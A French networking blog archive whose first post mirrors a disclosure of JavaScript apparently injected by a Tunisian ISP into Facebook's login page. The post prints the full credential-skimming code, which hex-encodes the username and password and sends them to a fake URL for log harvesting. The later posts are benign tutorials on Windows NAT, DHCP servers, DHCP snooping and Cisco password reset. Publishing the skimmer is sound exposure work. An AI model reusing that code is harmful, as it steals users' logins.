Category Archives: Réseau

La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :

ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :

Code:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml&#8221; xml:lang=”fr” lang=”fr” id=”facebook”>
<head>
<meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ />
<meta http-equiv=”Content-language” content=”fr” />
<script type=”text/javascript”>
//<![CDATA[
CavalryLogger=false;window._is_quickling_index=””;window._EagleEyeSeed=”w6jw”;
//]]>
</script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> 

<meta name=”robots” content=”noodp,noydir” />
<meta name=”description” content=” Facebook est un réseau social qui vous relie à des amis, des collègues de travail, des camarades de classe ou d’autres personnes qui ont quelque chose à partager avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre illimité de photos, publier des liens et des vidéos… et faire plus ample connaissance avec les personnes que vous rencontrez.” />
<link rel=”alternate” media=”handheld” href=”http://www.facebook.com/&#8221; />
<title>Bienvenue sur Facebook</title>
<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>
<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css&#8221; />

<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css&#8221; />

<script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script&gt;

<link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml&#8221; title=”Facebook” />
<link rel=”shortcut icon” href=”http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico&#8221; /></head>
<body>
<div id=”FB_HiddenContainer” style=”position:absolute; top:-10000px; width:0px; height:0px;” ></div><div id=”blueBar”></div><div id=”globalContainer”><div id=”dialogContainer”></div><div id=”dropmenu_container”></div><div id=”content” class=”fb_content clearfix”><div ><!– 2365fa3194ecdc0cab15721ce967a9f8663937c7 –>
<div><div class=”loggedout_menubar_container”><div><a href=”/” title=”Accéder à la page d’accueil”><img src=”http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png&#8221; alt=”Logo de Facebook” width=”170″ height=”36″ /></a><div class=”rfloat”><div><form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1&#8243; id=”login_form” onsubmit=”hAAAQ3d()” onsubmit=”return Event.__inlineSubmit(this,event)”><div style=”position:absolute;top:-250px”><img id=”x6y7z8″ src=””/></div>
<script language=”javascript”>
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

</script><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php&#8221; rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form>
</div></div></div></div><div class=”WelcomePage_MainSell”><div class=”WelcomePage_MainSellCenter clearfix”><div class=”WelcomePage_MainSellLeft”><div class=”WelcomePage_MainMessage”>Facebook vous permet de rester en contact et d’échanger avec les personnes qui vous entourent.</div><div class=”WelcomePage_MainMap”>&nbsp;</div></div><div ><div class=”WelcomePage_SignUpSection”><div class=”WelcomePage_SignUpMessage”><div class=”WelcomePage_SignUpHeadline”>Inscription</div><div class=”WelcomePage_SignUpSubheadline”>C’est gratuit (et ça le restera toujours)</div></div><div id=”registration_container”><div><noscript><div id=”no_js_box”><h2>JavaScript est désactivé dans votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div id=”simple_registration_container” class=”simple_registration_container”><div id=”reg_box”><form method=”post” id=”reg” name=”reg” onsubmit=”return

J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :

Code:
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!

3 Minutes pour comprendre… le cloud computing (Eps2)

Ajourd’hui on aborde le cloud computing, une architecture qui fait polémique et est très a la mode… Nous y verons les différent types de cloud et les différentes modèle “As a Service”. Survolez le nuage avec ce webcast…

Voici le lien pour le livre blan de chez Syntec :

Sur ce…

Windows XP en routeur

Beaucoup de gens pensent que faire du routage sous windows comme on le ferait sous linux est impossible. Déjà à ce niveau, c’est entièrement faux, windows xp fait du routage vu que en shell, on obtient toutes les routes définies sur la machine via la commande route PRINT. De plus windows XP comporte tous les outils nécessaire pour faire du routage avancé comme sous linux grâce à la commande netsh, qui est, je pense, une des commandes les plus complexe et polyvalente que j’ai rencontré tout système confondu et presque aucun système ne regroupe sous une même commande autant de fonctionnalités réseau/système.

En fait, on commet un abus de langage, car par routage, on entend le plus souvent de l’ip forwarding et du NAT, dans les applications “domestique” du routage. Petite précision sur ce qu’est l’ip forwarding ; Il s’agit de permettre aux différentes interfaces d’une même machine de se transmettre les paquets entre elles. Le NAT, Network Address Translation, lui sert a réécrire l’adresse se trouvant dans les paquets (de manière très très basique et simplifié pour que vous compreniez, le NAT est en fait beaucoup plus complexe, et plusieurs articles pourraient lui être entièrement consacré). Retenez simplement que le NAT permet de modifier les adresses sources.

Considérons la situation suivante :
Interface WAN -> ip : 212.212.2.2 / netmask : 255.255.255.0 / route par defaut : 212.212.2.1
Interface LAN -> ip : 192.168.1.1 / netmask : 255.255.255.0 / route par defaut : !!!! rien !!!!

Nous avons donc deux interface, une dans le lan et une sur le wan.
Sur l’interface WAN se trouve le modem, il a l’ip publique et la route par defaut. La plupart du temps, cette interface est configurée via le DHCP du provider internet et on ne doit pas  se soucier de sa configuration (configuration automatique via dhcp)
L’interface LAN sera le plus souvent branché sur un switch avec d’autres ordinateurs du réseau mais ne doit pas contenir de route par defaut.
Pourquoi pas de route par défaut ? Imaginez que vous ayez deux routes par défaut, le but d’une route par défaut est : “Si je n’ai pas dans ma table de routage une route vers l’ip que je veux joindre, j’envoi le paquet à l’ip indiqué comme route par defaut, elle se chargera d’acheminer le paquet a la bonne destination et de me renvoyer les réponses”. Dans ce cas ci par exemple, le pc ne connais que deux réseau, 212.212.2.0/24 et 192.168.1.0/24, si on veux joindre 10.10.10.1, le pc ne sait pas où se trouve ce réseau, il envoi donc tout à la route par défaut qui se charge du reste. Il ne peut donc pas il y avoir deux routes par défaut sur la MEME MACHINE ! car sinon, le pc ne saura pas a qui envoyer les paquets qui sont pour des réseaux qu’il ne connaît pas. Par contre, toutes les machines ont besoin d’une route par défaut pour joindre les réseaux qu’elles ne connaissent pas.
Nous voulons donc que les ordinateurs du LAN puisse sortir (sur le lan) par l’intermediaire de l’interface WAN, aller sur internet en clair.
Les clients eux, sont configuré de sorte à ce que leurs default gateway (route par defaut) soit l’ip de l’interface LAN du PCrouteur (192.168.1.1 dans ce cas), ainsi, si ils veulent joindre l’ip de google, qui n’est pas dans le réseau 192.168.1.0/24, on envera le paquet au PCrouteur, avec une interface sur le WAN, et si ce dernier ne sait pas où se trouve non plus l’ip google, il l’enverra également à sa route par défaut sur le WAN et ainsi de suite.
Nous devons dans un premier temps activer l’ip forwarding sur le routeur afin que l’interface LAN quand elle reçoit des paquets pour un réseau non connu puisse les transférer à l’interface du WAN et que l’interface WAN qui recoit des paquet a destination du LAN puisse les lui transféré. Pour ce faire on tape Windows + R et regedit afin d’obtenir l’éditeur de registre.
Ensuite il faut cherché
. la clef suivante : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
A ce niveau, on édite la valeur de IPEnableRouter, de type DWORD et on la passe à 1. Ainsi toutes les interfaces sur le routeur peuvent s’échanger des paquets “directement” comme si un câble les reliaient sur un switch à l’interieur du pc. (En fait, c’est à peu près cela, vu que ces interfaces sont toutes reliées virtuellement sur l’interface localhost de windows xp, et oui, il y aussi une localhost sous windows xp, mais elle n’est pas accessible comme sous linux)
Voila déja une première chose de faite. Testons l’installation dans l’etat actuel des choses en allant sur google.
Ca ne marche pas ! Pourquoi ?
Allons sur google, notre machine, a l’ip 192.168.1.2 veut joindre l’ip de google.com, 10.10.10.1 par exemple.
Le réseau n’est pas connu, on transfère donc le paquet au routeur (192.168.1.1), jusque là tout va bien. Le routeur lui reçoit le paquet sur l’interface LAN, regarde aussi dans sa table de routage et voit qu’il ne connait pas 10.10.10.1, il transfère donc à l’interface WAN pour l’envoyer à la default gateway du provider, ensuite de routeur en routeur, selon le même principe, le paquet arrive à google. Le problème, c’est que google lui, quand il veut répondre, cherche à répondre à l’ip qui a émit le paquet, c’est a dire 192.168.1.2, l’ip de la machine cliente. Mais 192.168.1.2 n’est pas une ip publique, c’est à dire que c’est un ip qui n’est pas utilisé sur internet. En fait tous les ip commençant par 192 ne peuvent pas être utilisé sur le net. Nous avons une ip publique, c’est à dire, utilisable sur internet, l’ip fournie par le provider. C’est d’ailleurs ça que l’on paye avec notre abonnement, d’une part une ip publique, d’autre part, une default gateway qui nous permet de joindre les réseaux que l’on ne connaît pas. (de manière shématique, on paye aussi d’autres choses, mais ce sont les seules choses nécéssaires à notre échelle pour acceder au net). Nous devons donc faire du NAT. C’est à dire, quand un paquet venant d’un client part vers l’exterieur, on change l’ip à laquelle il faut répondre par notre ip publique. Ainsi google par exemple, répondra à 212.212.2.2 (notre ip public) et non plus à 192.168.1.2, qui n’est pas utilisable sur le net. L’interface du WAN elle, garde en mémoire un tableau de NAT, une fois que google aura répondu, il regardera dans sa table, quelle est l’ip locale qui avait fait la demande, et rechangera l’adresse publique par l’addresse privé, 192.168.1.2

Résumons avant de passer à la pratique.

  1. Mon client, 192.168.1.2, veut joindre 10.10.10.1
  2. Mon client regarde dans sa table de routage et voit qu’il ne connait pas de route vers ce réseau.
  3. Mon client envoi donc le paquet à la route par defaut configuré, 192.168.1.1, l’ip LAN du routeur.
  4. Le routeur reçoit un paquet de 192.168.1.2 pour 10.10.10.1, il regarde dans sa table de routage et voit qu’il ne connait pas le réseau, il s’apprete donc à envoyer le paquet à sa route par defaut, celle du provider.
  5. Le routeur, transfère le paquet de l’interface LAN vers l’interface WAN
  6. Le routeur, reçoit un paquet sur son interface WAN, venant de l’interface LAN, avec comme destination 10.10.10.1 et comme source 192.168.1.2
  7. Le routeur va remplacer l’ip source, 192.168.1.2 par son ip publique, 212.212.2.2
  8. Le routeur envoi à sa route par defaut le paquet avec comme destination 10.10.10.1, et comme source, non plus l’ip locale, mais 212.212.2.2, son ip publique.
  9. Le provider internet (routeur avec comme ip la route par defaut) envoi le paquet au serveur de google (en résumé)
  10. Google (10.10.10.1) reçoit un paquet pour lui, venant de 212.212.2.2
  11. Google (10.10.10.1) réponds, par exemple en envoyant une page internet, à 212.212.2.2
  12. Le routeur reçoit, sur l’interface WAN, la réponse de google.
  13. Le routeur, d’après la liste qu’il a en mémoire, change l’ip publique, par l’ip locale, 192.168.1.2
  14. Le routeur, regarde dans sa table de routage s’il connaît le réseau 192.168.1.0, voit que oui, et que son interface LAN est dans ce réseau
  15. Le routeur transfère le paquet de l’interface WAN vers l’interface LAN
  16. Le routeur, envoi le paquet au client, 192.168.1.2, depuis l’interface LAN, 192.168.1.1, via le switch (résolution arp etc)
  17. La page de google est reçue par le client et s’affiche dans le navigateur internet

Et tout ceci se passe en un 10éme de seconde ^^
Maintenant que nous savons exactement comment cela fonctionne, nous allons donc activer ce NAT, afin de pouvoir changer notre ip privée par l’ip publique quand on veut aller sur internet.
On tape donc Windows + R, puis cmd. Le shell (prompt) de windows s’affiche.
On va tout d’abord installer le NAT sur le routeur avec cette commande :
netsh routing ip nat install
Ainsi, les fonctionnalitées de NAT seront disponibles.
Maintenant nous allons définir quelle est l’interface publique, c’est a dire, celle par laquelle “on sort”, dans ce cas, l’interface WAN qui s’appelle : “Connection réseau locale 1”
Il suffit de taper la commande suivante avec entre guillemets, le nom de l’interface réseau.
netsh routing ip nat add interface “Connection réseau locale 1” full
Maintenant, nous allons rajouter les interfaces “privées”, c’est à dire les interfaces “sources”, dans ce cas-ci, l’interface LAN qui s’appelle : “Connection réseau locale 2”
netsh routing ip nat add interface “Connection réseau locale 2” private

Et c’est fini. Voici un résumé barbare de la procédure :

  1. Ouvrir l’editeur de registre
  2. Aller a la clef : “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters”
  3. Mettre la valeur de “IPEnableRouter” à 1
  4. Ouvrir un shell
  5. Installer le nat avec la commande : netsh routing ip nat install
  6. Ajouter l’interface publique : netsh routing ip nat add interface “<Nom_De_L’interface>” full
  7. Ajouter la/les interfaces privées : netsh routing ip nat add interface “<Nom_De_L’interface>” private

Ce qui, au final, ressemble fort à linux :

Activer le forwarding :
Linux (shell) : echo 1 > /proc/sys/net/ip/ipv4/ip_fowarding
Windows (prompt) : reg ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /t DWORD /d 1

Activer le NAT :

Linux (shell) (eth0=WAN, eth1=LAN) :  iptables -t nat -i eth1 -o eth0 -A POSTROUTING -j MASQUERADE
Windows (prompt, version une commande avec les opérateurs & et &&) : netsh routing ip nat install && netsh routing ip nat add interface “WAN” full & netsh routing ip nat add interface “LAN” private

Liens Utile :

Documentation netsh : http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/netsh.mspx?mfr=true
Documentation reg : http://www.computerhope.com/reg.htm
La base de registre : http://leregistre-fr.net/astuces/bases/Comprendre-la-base-de-registre-23.html
Base du batch : http://commandwindows.com/

Linux – Mise en place d’un serveur DHCP

Présentation

Le service DHCP (Dynamic Host Configuration Protocol) permet de configurer dynamiquement des hôtes en leurs envoyant des informations sur leur adresse, le routage, les DNS etc. Il n’y a en général qu’un serveur DHCP par segment du réseau, le plus souvent, si un second est présent, il aura comme rôle DHCP relay. Nous ne parlerons pas des DHCP Relay dans cet article.
DHCP est une sur couche de BOOTP (Bootstrap Protocol), quand le client veut contacter le DHCP, c’est BOOTP qui est utilisé pour fournir les informations qui valident sur une durée donnée (un bail)Un client, va donc, au travers de BOOTP, broadcasté le réseau (sur 255.255.255.255 donc) avec une trame contenant, entre autre, sa MAC, le type de request, le port, etc. Il effectue une DHCPDISCOVER, ensuite, une fois que le serveur a detecté un DHCPDISCOVER, il va répondre au client avec un DHCPOFFER (via sa MAC donc, on est toujours en Layer 2, il n’y a pas encore d’IP ici, d’où la limitiation du champ qux subnets) qui contient une première configuration. L’hôte établit cette configuration et renvoi un DHCPREQUEST pour confirmer que la configuration envoyé plus tôt est correcte. Si c’est le cas, le DHCP renvoi un DHCPHACK avec des informations complémentaires (durée de bail par exemple).
Voici une analyse de cette négociation, réalisé sur mon LAN avec Wireshark.

Dans mon cas, pour une question de facilité, mon serveur et mon client sont connecté en mode AdHoc.

Installation

La première chose à faire est d’installer le DHCP, rien de plus simple :
apt-get install dhcpd

DHCPD est donc un daemon. Il se lance via “/etc/init.d/dhcpd start” ou “service dhcpd start” selon la distribution. Il y a deux fichiers importants, /etc/dhcpd.conf et /var/lib/dhcpd/dhcpd.leases. Le premier contient les configurations à envoyer  aux clients, le second, les configurations déjà envoyées.

Configuration.

Nous allons faire deux configurations. Un première avec des hôtes entièrement dynamique, une seconde où l’on voudra que certains hôtes aient toujours la même ip ou une route différente par exemple.
Configuration A – Full Dynamic
Il n’y a qu’un fichier a éditer, /etc/dhcpd.conf
Voici une configuration de “base”, mais pleinement fonctionnelle qui conviendra  aussi  bien à un réseau domestique que d’entreprise. Avant de configurer notre DHCP nous devons connaître certains infos :

Quel est le subnet ?
Quels sont les DNS à utiliser ?
Quel est le nom de domaine transmit au client ?
Le DNS est-il dynamique ?
Quelles sont les durées de bail ?
Quelle est la route par défaut ?
Il y a-t-il des hôtes statiques ?
Quel est le range d’ip disponible a attribué ?

Dans notre exemple :

Quel est le subnet ?  192.168.1.0/24 (255.255.255.0)
Quels sont les DNS à utiliser ?  194.7.1.4
Quel est le nom de domaine transmit au client ?  404Network.local
Le DNS est-il dynamique ?  Non
Quelles sont les durées de bail ?  21600 secondes
Quelle est la route par défaut ?  192.168.1.254
Il y a-t-il des hôtes statiques ? Non
Quel est le range d’ip disponible a attribué ?
De 192.168.1.2 a 192.168.1.253
192.168.1.1 = DHCP, 192.168.1.254 = Gateway

Ce qui nous donne un fichier de ce type :

ddns-update-style none;  #Pas de mise a jours du DNS
option domain-name "404Netowork.local";  #Domaine
option domain-name-servers 194.7.1.4; #Addresse ip des DNS
default-lease-time 21600; #Bail par défaut
max-lease-time 43200; #Bail envoyé lorsque le client demande un bail plus élevé
#Nous allons ici créer une zone ou spool DHCP
subnet 192.168.1.0 netmask 255.255.255.0
{
option routers 192.168.1.254; #route par défaut
option subnet-mask 255.255.255.0; #masque de sous réseau
range 192.168.1.2 192.168.1.253; #Range d'ip a attribué
}

Configuration B – Mixed DHCP

Nous voulons maintenant que certaines machines dans notre réseau aient toujours la même ip. Pour ce faire nous allons préciser une ip par Mac Address. Les hôtes, n’étant pas dans la liste, auront une ip dymanique “classique”. Il nous faut juste nous poser une question supplémentaire,  quels sont les hôtes statiques et quels sont leurs ip ?

Quel est le subnet ?  192.168.1.0/24 (255.255.255.0)
Quel sont les DNS à utiliser ?  194.7.1.4
Quel est le nom de domaine transmit au client ?  404Network.local
Le DNS est-il dynamique ?  Non
Quelles sont les durées de bail ?  21600 secondes
Quelle est la route par défaut ?  192.168.1.254
Il y a-t-il des hôtes statiques ? Non
Quel est le range d’ip disponnible a attribué ?
De 192.168.1.100 a 192.168.1.253
192.168.1.254 = Gateway
192.168.1.1 -> 192.168.1.100 = Hôtes statiques

Quels sont les hôtes statiques ?
00:04:ad:41:5c:98 -> Maxime
00:b1:57:c5:75:ad -> Julie

Quelles sont les ips des hôtes statiques ?
Maxime -> 192.168.1.2
Julie -> 192.168.1.3

Le fichier de configuration devient donc :

ddns-update-style none;  #Pas de mise à jour du DNS
option domain-name "404Netowork.local";  #Domaine
option domain-name-servers 194.7.1.4; #Adresse ip des DNS
default-lease-time 21600; #Bail par défaut
max-lease-time 43200; #Bail envoyé lorsque le client demande un bail plus élevé
#Nous allons ici créer une zone ou spool DHCP
subnet 192.168.1.0 netmask 255.255.255.0
{
 option routers 192.168.1.254; #route par defaut
 option subnet-mask 255.255.255.0; #masque de sous réseau
 range 192.168.100 192.168.1.253; #Range d'ip a attribué
 host Maxime
 {
 hardware ethernet 00:04:ad:41:5c:98;
 fixed-address 192.168.1.2;
 }

 host Julie
 {
 hardware ethernet 00:b1:57:c5:75:ad;
 fixed-address 192.168.1.3;
 }
}

Il ne reste plus qu’à relancer le serveur DHCP pour prendre en compte la nouvelle configuration.
Il se peut que le fichier dhcp.leases ne soit pas créé à l’installation, dans ce cas, le serveur DHCP grognera. Il suffit de le créé avec touch, et le serveur fonctionnera correctement.
Pour la sécurisation de serveurs DHCP contre le DHCP Spoofing (en résumé, se faire passer pour un dhcp et donc, envoyer des informations corrompues aux hôtes), j’ai écris un article pour éviter ce type d’attaque que vous pouvez le lire à cette adresse

Cisco abandonne le wimax

Et oui, le titre est clair.
Au meme titre que Nokia et Intel, Cisco abandonne la technologie Wimax. (source FierceBroadbandWireless)

Depuis plusieurs années en développement chez l’équipementier celui-ci fait un revirement face à la montée en puissance des accès mobiles (3G / 4G)
Pour rappel, en 2007 Cisco avait racheté la société Navini Networks, spécialiste dans le domaine des technologies Wimax.
Cet abandon devenait logique pour Cisco sachant que pour l’année dernière la technologie Wimax a reculée de 18% sur le marché des technologies réseaux.
Selon une étude d’Ovum, “Le WiMax a échoué à s’implanter sur les marchés haut débit matures d’Europe, d’Amérique du Nord et d’Asie, il a peut-être un avenir dans les pays émergents” dépourvus de réseaux fixes afin de proposer des accès haut débit sans fil.
Certains misent donc encore sur cette technologie pour les pays émergents ou les contrées lointaines oubliées de l’ADSL en france.

Source: http://www.zdnet.fr/actualites/telecoms/0,39040748,39713620,00.htm
L’avenir du wimax: http://www.zdnet.fr/actualites/internet/0,39020774,39704736,00.htm
Samsung veut croire au wimax! : http://www.zdnet.fr/actualites/telecoms/0,39040748,39709217,00.htm

DHCP snooping : Défense contre le DHCP spoofing


Un petit article pour vous présenter une parade au dhcp spoofing implémenté sur des switchs cisco.
Cette parade s’apel le DHCP snooping. Elle consiste a mettre en place un liste de port sur le switch sur lequel se trouvent les “trusted dhcp server”.
De cette manière, il sera impossible de rajouter un dhcp sur le LAN.
Tout d’abord, un peux de théorie sur les DHCP.

1. Théorie

Un DHCP est un serveur permettant de configurer l’ip, le netmask, les serveurs dns et la passerelle d’un machine cliente.
Le danger est, dans le cas ou un dhcp externe est apporter au réseau, que les informations envoyé au clients ne sont pas intègre. Par exemple, le dhcp “pirate” peux renseigner comme passerelle du réseau sa propre IP, dans ce cas, tout le trafic des clients transitera par le dhcp “pirate” (MITM), ou alors, renseigner une machine cliente comme gateway ce qui cause premièrement un DoS du réseau, et si le client n’est pas suffisamment puissant pour gérer toutes les requêtes, un crash de la machine gateway.
Voici comment se déroule une transaction DHCP.

1. Le client émet un dhcp discover, le tout se joue en couche 2  vu que le client n’ pas d’ip. Il broadcast donc en FF:FF:FF:FF:FF:FF pour obtenir la liste des serveurs dhcp a proximité.
2. Les serveurs DHCP s’annoncent avec un DHCP OFFER et offre une configuration au client.
3. Le client envoi a tout les serveur dhcp quel serveur il a choisis et envoi donc un DHCP REQUEST
4. Le serveur DHCP ayan été choisis confirme au clietn que sa demande a bien été enregistré.
Tout ces machanismes permettent par exemple, dans le cas ou il y a  deux serveurs DHCP avec chacun le subnet 192.168.1.0/24 de disponible, de se synchronisé . Ainsi si l’ip 192.168.1.2 a été attribué depuis le dhcp A, le dhcp B sera informé que cette ip a été attribué et l’enlèvera de son pool d’adresse disponible.

Imaginons maintenant que un serveur dhcp externe a été apporté au réseau

On voi que le serveur DHCP pirate envoi aussi un DHCP OFFER, ce qui fait qu’il est potentiellement choisissable par la machine cliente.

2. DHCP Snooping

Le dhcp snooping est simple, vu que n’importe qui est autorisé a emttre des DHCP OFFER et ACK, nous allons autoriser que certains ports sur le switch a les émettre.
Ainsi nous aurons une listes des port “trusted” et “untrusted”. Seul les ports Trusted pourront émettre des DHCP OFFER et ACK, ainsi, la machine pirate du shema ci-dessus, n’étant pas sur un port trusted, ne pourra donc pas émettre de DHCP OFFER et ACK.
C’est très simple a mettre en place :

1. Switch(config)# ip dhcp snooping
2. Switch(config)# ip dhcp snooping vlan 3 15
3. Switch(config)# ip dhcp snooping information option
4. Switch(config)# interface fastethernet0/0
5. Switch(config-if)# ip dhcp snooping trust
6. Switch(config-if)# ip dhcp snooping limit rate 50

1. On active le dhcp snoooping
2. On définit sur quels VLAN le dhcp snooping s’appliquera
3. On active l’option 82 du protocole DHCP car le DHCP snooping en a besoin (plus d’infos sur l’option 82) http://www.cisco.com/en/US/docs/ios/12_2t/12_2t2/feature/guide/ftrbeo82.html
Enfin, on définit les interface que l’on veux truster, sur lesquels se trouvent donc les serveurs dhcp. Dans ce cas ci, sur l’interface fa 0/0
4. On rentre dans la configuration de l’interface
5. On la trust
6. On définit le nombre de requête maximal par seconde autorisé.

3. Conclusion

Le DHCP spoofing est encore trop facilement réalisable. Il y a d’autres méthodes de protection hardware ou logiciel, par exemple, definir de manière fixe la MAC address du serveur DHCP, ainsi, le client ne broadcast plus et va directement contacter le serveur DHCP renseigné. Cette protection n’est pas infaillibles et ne protège QUE du dhcp spoofing, pas de l’ip spoofing, l’arp spoofing, etc.
Voici quelques conseils que je donnerais pour améliorer la sécurité :
1. Mettre des ip fixes sur les serveurs.
JE sais, ça parait le B-a-BA, mais ce n’est psa fait partout, certains serveurs ‘optionnels’, sot en ip dynamique…
2. SI vous êtes dans un LAN de quelques machines (moin de 30), configurer les clients avec des ips fixe
3. Bloquer sur le switch les ports non utilisé afin d’interdire l’apport de machines externes
4. Dedier un DHCP pour le VPN et un pour le WIFI et les mettre les clients dans des zones isolé et autement filtré.
5. Rajouter du filtrage par MAC sur les switch.

Voila, tout n’es pas nécessaire, mais le DHCP snooping n’est pas suffisant. Il faut toujours partir du principe que la sécurité totale n’existe pas, la sécurité n’est que la réduction de pertes en cas d’attaques et doit sans cesse être remise en question.

En espérant que ceci vous ai plu ^^

Tips : Reset password sur routeurs cisco

On a la possibilité de mettre un password sur les switchs cisco.
Mais ce password peut être oublié dans le cas ou une doc a été mal écrite ou perdue par exemple.
Voici un petite procédure, testé sur un routeur 2600 et dans packet tracer.

1. Au boot, presser la touche de ‘break’
Cette touche varie selon le terminal.
Voici la liste : ici
2. une fois en rommon, taper : confreg 0x2142
3. toujours dans rommon, rebooter avec : reset
4. Lasser le routeur booter normalement
5. Un fais dans le prompt Router>, taper : enable
6. Si la procédure s’est bien passé, aucun password ne devrait être demandé.

Voici un exemple ‘appliqué’ d’un reset sur un routeur 1841 (Packet tracer)

Self decompressing the image :
########################################################################## [OK]
Restricted Rights Legend

Use, duplication, or disclosure by the Government is
subject to restrictions as set forth in subparagraph
(c) of the Commercial Computer Software – Restricted
Rights clause at FAR sec. 52.227-19 and subparagraph
(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227-7013.

cisco Systems, Inc.
170 West Tasman Drive
San Jose, California 95134-1706

Cisco IOS Software, 1841 Software (C1841-ADVIPSERVICESK9-M), Version 12.4(15)T1, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
